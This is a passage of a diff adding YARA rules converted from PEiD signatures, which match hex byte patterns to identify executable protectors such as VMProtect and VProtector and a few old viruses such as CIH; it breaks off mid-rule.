+    condition:
+        $a
+}
+
+rule PEiD_03328_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 51 50 55 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03329_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 55 52 50 53 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03330_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 51 53 55 56 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03331_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 53 51 55 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03332_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 55 56 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_03333_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 55 52 54 50 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03334_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06}
+    condition:
+        $a
+}
+
+rule PEiD_03335_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F7 55 00 66 8B 45 00 83 ED 02 66 21 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03336_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "false"
+    strings:
+        $a = {8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 A5 06 00 00 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03337_VMProtect_V1_X____PolyTech_
+{
+    meta:
+        description = "[VMProtect V1.X -> PolyTech]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 68 00 00 00 00 8B 74 24 28 BF ?? ?? ?? ?? FC 89 F3 03 34 24 AC 00 D8}
+    condition:
+        $a
+}
+
+rule PEiD_03338_VOB_ProtectCD_5_
+{
+    meta:
+        description = "[VOB ProtectCD 5]"
+        ep_only = "true"
+    strings:
+        $a = {36 3E 26 8A C0 60 E8}
+    condition:
+        $a
+}
+
+rule PEiD_03339_VOB_ProtectCD_
+{
+    meta:
+        description = "[VOB ProtectCD]"
+        ep_only = "true"
+    strings:
+        $a = {5F 81 EF ?? ?? ?? ?? BE ?? ?? 40 ?? 8B 87 ?? ?? ?? ?? 03 C6 57 56 8C A7 ?? ?? ?? ?? FF 10 89 87 ?? ?? ?? ?? 5E 5F}
+    condition:
+        $a
+}
+
+rule PEiD_03340_VPacker____ttui___Sign_by_fly_
+{
+    meta:
+        description = "[VPacker -> ttui ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {89 C6 C7 45 E0 01 00 00 00 F7 03 00 00 FF FF 75 18 0F B7 03 50 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 EB 13 53 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 83 C7 04 FF 45 E0 4E 75 C4 8B F3 83 3E 00 75 88 8B 45 E4 8B 40 10 03 45 DC 8B 55 14 83 C2 20 89 02 68 00 80 00 00 6A 00 8B 45 D4 50 FF 55 EC 8B 55 DC 8B 42 3C 03 45 DC 83 C0 04 8B D8 83 C3 14 8D 45 E0 50 6A 40 68 00 10 00 00 52 FF 55 E8 8D 43 60}
+    condition:
+        $a
+}
+
+rule PEiD_03341_VPacker____ttui_
+{
+    meta:
+        description = "[VPacker -> ttui]"
+        ep_only = "true"
+    strings:
+        $a = {89 C6 C7 45 E0 01 00 00 00 F7 03 00 00 FF FF 75 18 0F B7 03 50 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 EB 13 53 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 83 C7 04 FF 45 E0 4E 75 C4 8B F3 83 3E 00 75 88 8B 45 E4 8B 40 10 03 45 DC}
+    condition:
+        $a
+}
+
+rule PEiD_03342_VProtector____vcasm_
+{
+    meta:
+        description = "[VProtector -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F}
+    condition:
+        $a
+}
+
+rule PEiD_03343_VProtector____vcasm_
+{
+    meta:
+        description = "[VProtector -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03344_VProtector____vcasm_
+{
+    meta:
+        description = "[VProtector -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 53 6C 65 65 70 00 00 00 47 65 74 56 65 72 73 69 6F 6E 00 00 00 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 00 00 47 65 74 53 74 61 72 74 75 70 49 6E 66 6F 41 00 00 00 47 65 74 41 43 50 00 00 00 43 72 65 61 74 65 54 68 72 65 61 64 00 00 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 47 65 74 44 43 00 00 00 52 65 6C 65 61 73 65 44 43 00 00 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00 00 00 44 65 73 74 72 6F 79 57 69 6E 64 6F 77 00 00 00 53 65 74 50 69 78 65 6C}
+    condition:
+        $a
+}
+
+rule PEiD_03345_VProtector____vcasm_
+{
+    meta:
+        description = "[VProtector -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 53 6C 65 65 70 00 00 00 47 65 74 56 65 72 73 69 6F 6E 00 00 00 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 00 00 47 65 74 53 74 61 72 74 75 70 49 6E 66 6F 41 00 00 00 47 65 74 41 43 50 00 00 00 43 72 65 61 74 65 54 68 72 65 61 64 00 00 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 47 65 74 44 43 00 00 00 52 65 6C 65 61 73 65 44 43 00 00 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00 00 00 44 65 73 74 72 6F 79 57 69 6E 64 6F 77 00 00 00 53 65 74 50 69 78 65 6C 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03346_VProtector____vcasm_
+{
+    meta:
+        description = "[VProtector -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 55 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 64 69 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 47 65 74 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 52 65 6C 65 61 73 65 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00}
+    condition:
+        $a
+}
+
+rule PEiD_03347_VProtector_0_X_1_2X____vcasm_
+{
+    meta:
+        description = "[VProtector 0.X-1.2X -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03348_VProtector_1_0X____vcasm_
+{
+    meta:
+        description = "[VProtector 1.0X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83}
+    condition:
+        $a
+}
+
+rule PEiD_03349_VProtector_1_0X____vcasm_
+{
+    meta:
+        description = "[VProtector 1.0X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3 E8 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 05 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03350_VProtector_1_1A_1_2____vcasm_
+{
+    meta:
+        description = "[VProtector 1.1A-1.2 -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F 32 30 30 35 5F 33 5F 31 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03351_VProtector_1_1X____vcasm_
+{
+    meta:
+        description = "[VProtector 1.1X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03352_vprotector_1_2____vcasm__h__
+{
+    meta:
+        description = "[vprotector 1.2 -> vcasm (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 E8 05 00 00 00 0F 01 EB 05 E8 EB FB 00 00 83 C4 04 E8 08 00 00 00 0F 01 83 C0}
+    condition:
+        $a
+}
+
+rule PEiD_03353_vprotector_1_2____vcasm_
+{
+    meta:
+        description = "[vprotector 1.2 -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00}
+    condition:
+        $a
+}
+
+rule PEiD_03354_vprotector_1_3____vcasm_
+{
+    meta:
+        description = "[vprotector 1.3 -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68}
+    condition:
+        $a
+}
+
+rule PEiD_03355_VProtector_1_3X____vcasm_
+{
+    meta:
+        description = "[VProtector 1.3X -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 60 8B B4 24 24 00 00 00 8B BC 24 28 00 00 00 FC C6 C2 80 33 DB A4 C6 C3 02 E8 A9 00 00 00 0F 83 F1 FF FF FF 33 C9 E8 9C 00 00 00 0F 83 2D 00 00 00 33 C0 E8 8F 00 00 00 0F 83 37 00 00 00 C6 C3 02 41 C6 C0 10 E8 7D 00 00 00 10 C0 0F 83 F3 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_03356_VProtector_1_3X____vcasm_
+{
+    meta:
+        description = "[VProtector 1.3X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 FF FF C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_03357_VProtector_V1_0__Build_2004_12_13_
+{
+    meta:
+        description = "[VProtector V1.0 [Build 2004.12.13]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1A 89 40 00 68 56 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+    condition:
+        $a
+}
+
+rule PEiD_03358_VProtector_V1_0A____vcasm_
+{
+    meta:
+        description = "[VProtector V1.0A -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 8A 8E 40 00 68 C6 8E 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+    condition:
+        $a
+}
+
+rule PEiD_03359_VProtector_V1_0B____vcasm_
+{
+    meta:
+        description = "[VProtector V1.0B -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+    condition:
+        $a
+}
+
+rule PEiD_03360_VProtector_V1_0D____vcasm_
+{
+    meta:
+        description = "[VProtector V1.0D -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 CA 31 41 00 68 06 32 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+    condition:
+        $a
+}
+
+rule PEiD_03361_VProtector_V1_0E____vcasm_
+{
+    meta:
+        description = "[VProtector V1.0E -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0A 5B 56 50 72 6F 74 65 63 74 5D E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03362_VProtector_V1_1____vcasm_
+{
+    meta:
+        description = "[VProtector V1.1 -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {B8 1A ED 41 00 B9 EC EB 41 00 50 51 E8 74 00 00 00 E8 51 6A 00 00 58 83 E8 10 B9 B3 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03363_VProtector_V1_1A____vcasm_
+{
+    meta:
+        description = "[VProtector V1.1A -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03364_VProtector_V1_1A_V1_2____vcasm_
+{
+    meta:
+        description = "[VProtector V1.1A-V1.2 -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F 32 30 30 35 5F 33 5F 31 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03365_VProtector_V1_3X____vcasm_
+{
+    meta:
+        description = "[VProtector V1.3X -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 55 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 64 69 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03366_VProtector_V1_3X____vcasm_
+{
+    meta:
+        description = "[VProtector V1.3X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68}
+    condition:
+        $a
+}
+
+rule PEiD_03367_Vterminal_V1_0X____Lei_Peng_
+{
+    meta:
+        description = "[Vterminal V1.0X -> Lei Peng]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 05 ?? ?? ?? ?? 9C 50 C2 04 00}
+    condition:
+        $a
+}
+
+rule PEiD_03368_Vx__ACME__Clonewar_Mutant__
+{
+    meta:
+        description = "[Vx: ACME (Clonewar Mutant)]"
+        ep_only = "true"
+    strings:
+        $a = {FC AD 3D FF FF 74 20 E6 42 8A C4 E6 42 E4 61 0C 03 E6 61 AD B9 40 1F E2 FE}
+    condition:
+        $a
+}
+
+rule PEiD_03369_Vx__ARCV_4_
+{
+    meta:
+        description = "[Vx: ARCV.4]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 5D 81 ED 06 01 81 FC 4F 50 74 0B 8D B6 86 01 BF 00 01 57 A4 EB 11 1E 06}
+    condition:
+        $a
+}
+
+rule PEiD_03370_Vx__August_16th__Iron_Maiden__
+{
+    meta:
+        description = "[Vx: August 16th (Iron Maiden)]"
+        ep_only = "true"
+    strings:
+        $a = {BA 79 02 03 D7 B4 1A CD 21 B8 24 35 CD 21 5F 57 89 9D 4E 02 8C 85 50 02}
+    condition:
+        $a
+}
+
+rule PEiD_03371_Vx__Backfont_900_
+{
+    meta:
+        description = "[Vx: Backfont.900]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? B4 30 CD 21 3C 03 ?? ?? B8 ?? ?? BA ?? ?? CD 21 81 FA ?? ?? ?? ?? BA ?? ?? 8C C0 48 8E C0 8E D8 80 ?? ?? ?? 5A ?? ?? 03 ?? ?? ?? 40 8E D8 80 ?? ?? ?? 5A ?? ?? 83}
+    condition:
+        $a
+}
+
+rule PEiD_03372_Vx__Caz_1204_
+{
+    meta:
+        description = "[Vx: Caz.1204]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 83 EE 03 1E 06 B8 FF FF CD 2F 3C 10}
+    condition:
+        $a
+}
+
+rule PEiD_03373_Vx__CIH_Version_1_2_TTIT____WIN95CIH____
+{
+    meta:
+        description = "[Vx: CIH Version 1.2 TTIT (! WIN95CIH !)]"
+        ep_only = "true"
+    strings:
